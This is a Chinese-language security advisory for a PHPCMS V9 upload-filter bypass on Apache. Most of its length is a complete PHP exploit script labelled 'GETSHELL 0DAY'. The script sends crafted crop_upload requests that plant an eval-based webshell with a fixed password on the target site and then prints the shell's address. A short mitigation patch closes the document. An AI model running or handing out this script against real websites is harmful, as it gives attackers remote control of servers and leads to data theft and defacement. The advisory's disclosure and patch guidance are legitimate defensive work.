漏洞版本:
Phpcms 9
漏洞描述:
PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。 PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件\phpcms\libs\functions\global.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。
<* 参考
http://www.wooyun.org/bugs/wooyun-2013-019299*>
http://www.jiasule.com/news/5135a60075db5c6ac700000a/
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- n3wF ()提供了如下测试方法:
- <?php
- error_reporting(E_ERROR);
- set_time_limit(0);
- $pass="ln";
- print_r('
- +---------------------------------------------------------------------------+
- PHPCms V9 GETSHELL 0DAY
- code by L.N.
- apache 适用(利用的apache的解析漏洞)
- +---------------------------------------------------------------------------+
- ');
- if($argc <2){
- print_r('
- +---------------------------------------------------------------------------+
- Usage: php '.$argv[0].' url path
- Example:
- 1.php '.$argv[0].' lanu.sinaapp.com
- 2.php '.$argv[0].' lanu.sinaapp.com /phpcms
- +---------------------------------------------------------------------------+
- ');
- exit;
- }
- $url = $argv[1];
- $path = $argv[2];
- $phpshell ='<?php @eval($_POST[\''.$pass.'\']);?>';
- $file ='1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
- if($ret=Create_dir($url,$path))
- {
- //echo $ret;
- $pattern ="|Server:[^,]+?|U";
- preg_match_all($pattern, $ret, $matches);
- if($matches[0][0])
- {
- if(strpos($matches[0][0],'Apache')==false)
- {
- echo "\n亲!此网站不是apache的网站。\n";exit;
- }
- }
- $ret =GetShell($url,$phpshell,$path,$file);
- $pattern ="|http:\/\/[^,]+?\.,?|U";
- preg_match_all($pattern, $ret, $matches);
- if($matches[0][0])
- {
- echo "\n".'密码为: '.$pass."\n";
- echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
- }
- else
- {
- $pattern ="|\/uploadfile\/[^,]+?\.,?|U";
- preg_match_all($pattern, $ret, $matches);
- if($matches[0][0])
- {
- echo "\n".'密码为: '.$pass."\n";
- echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
- }
- else
- {
- echo "\r\n没得到!\n";exit;
- }
- }
- }
- functionGetShell($url,$shell,$path,$js)
- {
- $content =$shell;
- $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
- $data .="Host: ".$url."\r\n";
- $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
- $data .="Connection: close\r\n";
- $data .="Content-Length: ".strlen($content)."\r\n\r\n";
- $data .= $content."\r\n";
- $ock=fsockopen($url,80);
- if(!$ock)
- {
- echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- }
- else
- {
- fwrite($ock,$data);
- $resp ='';
- while(!feof($ock))
- {
- $resp.=fread($ock,1024);
- }
- return $resp;
- }
- }
- functionCreate_dir($url,$path='')
- {
- $content ='I love you';
- $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- $data .="Host: ".$url."\r\n";
- $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
- $data .="Connection: close\r\n";
- $data .="Content-Length: ".strlen($content)."\r\n\r\n";
- $data .= $content."\r\n";
- $ock=fsockopen($url,80);
- if(!$ock)
- {
- echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- }
- fwrite($ock,$data);
- $resp ='';
- while(!feof($ock))
- {
- $resp.=fread($ock,1024);
- }
- return $resp;
- }
- ?>
安全建议:
临时解决方法: 如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁: *可以暂时将文件phpcms\modules\attachment\attachments.php的第104行改为: if(is_image($_GET['file'])== false || strpos(strtolower($_GET['file']),'.php')!==false) exit(); 厂商补丁: PHPCMS ------ 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.phpcms.cn/